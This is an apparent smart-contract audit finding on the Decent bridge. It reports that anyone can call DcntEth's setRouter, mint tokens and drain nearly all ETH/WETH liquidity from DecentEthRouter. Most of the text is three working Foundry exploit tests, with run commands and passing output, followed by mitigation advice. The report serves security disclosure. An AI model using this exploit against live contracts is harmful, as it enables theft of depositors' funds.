Decent - slylandro_star's results

Lines of code

https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DcntEth.sol#L20-L26 https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DecentEthRouter.sol#L285-L299

Vulnerability details

Impact

DcntEth stores the balance of ETH/WETH liquidity tokens that are added via DecentEthRouter#addLiquidityEth and DecentEthRouter#addLiquidityWeth. When the liquidity is added, the contract DecentEthRouter adds to the balance of the caller. However, redeemEth and redeemWeth are not checking this balance. Instead of checking the balance at the router, the router transfers tokens from DcntEth. The core issue with this approach is that:

• The router may mint tokens on DcntEth, and

• Any user may change the address of the router by calling setRouter of DcntEth.

As a result, an attacker may set their address to be the router at DcntEth, mint tokens at DcntEth and redeem all (but 1) ETH/WETH from the router contract.

Proof of Concept

To demonstrate this attack, we present three tests:

• PocDrainDecentEthRouterNoForkTest is a POC draining ETH without forking chains (a unit test).

• PocDrainDecentWethRouterNoForkTest is a POC draining WETH without forking chains (a unit test).

• PocDecentEthRouterEthChainTest is a POC draining ETH on a forked pair of chains Arbitrum-Optimism (an integration test).

PocDrainDecentEthRouterNoForkTest

This unit test demonstrates how to drain ETH from a router contract.

Assuming that all dependencies are already installed via forge install, we add the following test to ./lib/decent-bridge/test/PocDrainDecentEthRouterNoFork.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {DecentBridgeExecutor} from "../src/DecentBridgeExecutor.sol";
import {Test, console, console2} from "forge-std/Test.sol";
import {CommonBase} from "forge-std/Base.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
import {OFTV2} from "solidity-examples/token/oft/v2/OFTV2.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {DecentEthRouter} from "src/DecentEthRouter.sol";
import {DcntEth} from "src/DcntEth.sol";
import {CommonRouterSetup} from "test/util/CommonRouterSetup.sol";

// This is a proof of concept showing that it's possible to drain
// all but 1 ETH tokens from DecentEthRouter. The setup is copied
// from DecentEthRouterNoFork.
contract PocDrainDecentEthRouterNoForkTest is CommonRouterSetup {
    WETH weth;
    // arbitrum mainnet
    address lzEndpointArbitrum = 0x3c2269811836af69497E5F486A85D7316753cf62;
    bool isGasEth = true;

    function setUp() public {
        weth = new WETH();
        DecentBridgeExecutor executor = new DecentBridgeExecutor(payable(address(weth)), isGasEth);
        router = new DecentEthRouter(
            payable(address(weth)),
            isGasEth,
            address(executor)
        );
        executor.transferOwnership(address(router));
        dcntEth = new DcntEth(lzEndpointArbitrum);
        router.registerDcntEth(address(dcntEth));
        dcntEth.setRouter(address(router));
    }

    // This test demonstrates that alice can drain all but 1 ETH that was deposited by bob
    // to the router.
    function testDrainEth() public {
        // give bob 100k in Ether
        vm.deal(bob, 100_000);
        assert(address(bob).balance == 100_000);
        // bob deposits 100_000 Wei
        vm.prank(bob);
        router.addLiquidityEth{ value:100_000 }();
        assert(address(bob).balance == 0);
        assert(router.balanceOf(bob) == 100_000);
        // alice has no ETH and she has zero balance at the router
        assert(address(alice).balance == 0);
        assert(router.balanceOf(alice) == 0);
        // alice drains all but 1 of the ETH liquidity by simply setting herself as a router
        // at DcntEth
        vm.startPrank(alice);
        dcntEth.setRouter(alice);
        // since dcntEth considers alice to be the router now, she can mint herself tokens
        dcntEth.mint(alice, 100_000);
        // note that onlyIfWeHaveEnoughReserves allows us to drain all ETH tokens - 1
        dcntEth.approve(address(router), 100_000);
        router.redeemEth(99_999);
        vm.stopPrank();
        // now alice has 99_999 ETH and 0 WETH
        assert(address(alice).balance == 99_999);
        assert(weth.balanceOf(alice) == 0);
        assert(weth.balanceOf(address(router)) == 1);
    }
}

Run the test:

$ cd lib/decent-bridge
$ forge test --match-path ./test/PocDrainDecentEthRouterNoFork.sol
...
[PASS] testDrainEth() (gas: 280748)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.50ms

PocDrainDecentWethRouterNoForkTest

This unit test demonstrates how to drain WETH from a router contract.

Assuming that all dependencies are already installed via forge install, we add the following test to ./lib/decent-bridge/test/PocDrainDecentWethRouterNoFork.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {DecentBridgeExecutor} from "../src/DecentBridgeExecutor.sol";
import {Test, console, console2} from "forge-std/Test.sol";
import {CommonBase} from "forge-std/Base.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
import {OFTV2} from "solidity-examples/token/oft/v2/OFTV2.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {DecentEthRouter} from "src/DecentEthRouter.sol";
import {DcntEth} from "src/DcntEth.sol";
import {CommonRouterSetup} from "test/util/CommonRouterSetup.sol";

// As in DecentWethRouterNoFork, we use BridgedWeth to emulate WETH
// without deploying it anywhere.
contract BridgedWeth is ERC20("Wrapped Ether", "WETH", 18) {
    function mint(address to, uint amount) external {
        _mint(to, amount);
    }
}

// This is a proof of concept showing that it's possible to drain
// all but 1 WETH tokens from DecentEthRouter. The setup is copied
// from DecentWethRouterNoFork.
contract PocDrainDecentWethRouterNoForkTest is CommonRouterSetup {
    BridgedWeth weth;
    address lzEndpointPolygon = 0x3c2269811836af69497E5F486A85D7316753cf62;
    bool isGasEth = false;

    function setUp() public {
        weth = new BridgedWeth();
        DecentBridgeExecutor executor = new DecentBridgeExecutor(
            payable(address(weth)),
            isGasEth
        );
        router = new DecentEthRouter(
            payable(address(weth)),
            isGasEth,
            address(executor)
        );
        executor.transferOwnership(address(router));
        dcntEth = new DcntEth(lzEndpointPolygon);
        router.registerDcntEth(address(dcntEth));
        dcntEth.setRouter(address(router));
    }

    // This test demonstrates that alice can drain all but 1 ETH that was deposited by bob
    // to the router.
    function testDrainWeth() public {
        // mint 100_000 for bob (in the actual environment, bob has to deposit 100_000 ETH)
        weth.mint(bob, 100_000);
        assert(weth.balanceOf(bob) == 100_000);
        // bob deposits 100_000 WETH
        vm.startPrank(bob);
        weth.approve(address(router), 100_000);
        router.addLiquidityWeth(100_000);
        vm.stopPrank();
        assert(weth.balanceOf(bob) == 0);
        assert(router.balanceOf(bob) == 100_000);
        // alice has no WETH and she has zero balance at the router
        assert(weth.balanceOf(alice) == 0);
        assert(router.balanceOf(alice) == 0);
        // alice drains all of the WETH liquidity by simply setting herself as a router
        // at DcntEth
        vm.startPrank(alice);
        dcntEth.setRouter(alice);
        // since dcntEth considers alice to be the router now, she can mint herself tokens
        dcntEth.mint(alice, 100_000);
        // note that onlyIfWeHaveEnoughReserves allows us to drain all but 1 WETH
        dcntEth.approve(address(router), 100_000);
        router.redeemWeth(99_999);
        vm.stopPrank();
        assert(weth.balanceOf(alice) == 99_999);
        assert(weth.balanceOf(address(router)) == 1);
    }
}

Run the test:

$ cd lib/decent-bridge
$ forge test --match-path ./test/PocDrainDecentWethRouterNoFork.sol
...
Running 1 test for test/PocDrainDecentWethRouterNoFork.sol:PocDrainDecentWethRouterNoForkTest
[PASS] testDrainWeth() (gas: 255574)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.50ms

PocDecentEthRouterEthChainTest

Finally, we run an integration test that demonstrates that the same attack vector is possible not only in unit tests, but on a forked pair Arbitrum-Optimism. Assuming that all dependencies are already installed via forge install, we add the following test to ./lib/decent-bridge/test/PocDrainDecentEthRouterEth2Eth.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Test, console, console2} from "forge-std/Test.sol";
import {CommonBase} from "forge-std/Base.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
import {OFTV2} from "solidity-examples/token/oft/v2/OFTV2.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {EthChain2EthChainScenario} from "./common/EthChain2EthChainScenario.sol";
import {DcntEth} from "src/DcntEth.sol";
import {DecentEthRouter} from "src/DecentEthRouter.sol";

// This is a proof of concept showing that it's possible to drain
// all but 1 ETH tokens from DecentEthRouter. This test works on a forked
// Optimism-Arbitrum setup.
contract PocDecentEthRouterEthChainTest is EthChain2EthChainScenario {
    function testDrainEthOnSourceChain() public {
        // bob adds liquidity to the router
        dealTo(srcChain, bob, 10 ether);
        vm.prank(bob);
        addLiquidity(srcChain, 10 ether);
        // both alice and bob have zero on their balance now
        assertEthBalanceEq(srcChain, alice, 0);
        assertEthBalanceEq(srcChain, bob, 0);
        // now, alice hijacks the router address in DcntEth and mints 10 ether on DcntEth
        vm.startPrank(alice);
        DcntEth(dcntEthLookup[srcChain]).setRouter(alice);
        DcntEth(dcntEthLookup[srcChain]).mint(alice, 10 ether);
        // note that onlyIfWeHaveEnoughReserves allows us to drain all but 1 ETH
        // alice approves 10 ether to the router on the source chain
        DcntEth(dcntEthLookup[srcChain]).approve(address(routerLookup[srcChain]), 10 ether);
        // then, alice redems 10 ether - 1
        DecentEthRouter(routerLookup[srcChain]).redeemEth(10 ether - 1);
        vm.stopPrank();
        // now alice has got all of the bob's liquidity
        assertEthBalanceEq(srcChain, alice, 10 ether - 1);
    }
}

To run the test, we have to set up RPC in .env:

OPTIMISM_RPC=https://rpc.ankr.com/optimism
ARBITRUM_RPC=https://arb1.arbitrum.io/rpc

Further, we have to run the local nodes that fork Optimism and Arbitrum:

$ npx hardhat start-fork --chain arbitrum
$ npx hardhat start-fork --chain optimism

Finally, we can run the test:

$ cd lib/decent-bridge
$ forge test --match-path test/PocDrainDecentEthRouterEth2Eth.t.sol
...
Running 1 test for test/PocDrainDecentEthRouterEth2Eth.t.sol:DecentEthRouterEthChainTest
[PASS] testBridgeEthShouldDeliverEth() (gas: 197227)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 45.12s

As we can see, this attack vector works in the integration test as well. We did not set up an integration test that demonstrates how to drain WETH from the pair Arbitrum-Avalance. Given that we have confirmed the case for ETH with the integration test, we believe that the unit test PocDrainDecentWethRouterNoForkTest provides sufficient evidence.

Tools Used

Manual code review, miro, forge test

Recommended Mitigation Steps

This attack utilizes a combination of issues. Hence, several steps should be taken to mitigate it:

• Fix the permissions of setRouter in DcntEth. Most likely, onlyOwner modifier should be applied.

• Test the balance of balanceOf[msg.sender] in DecentEthRouter#redeemEth/redeemWeth, not relying only on the behavior of DcntEth.transferFrom.

Assessed type

Access Control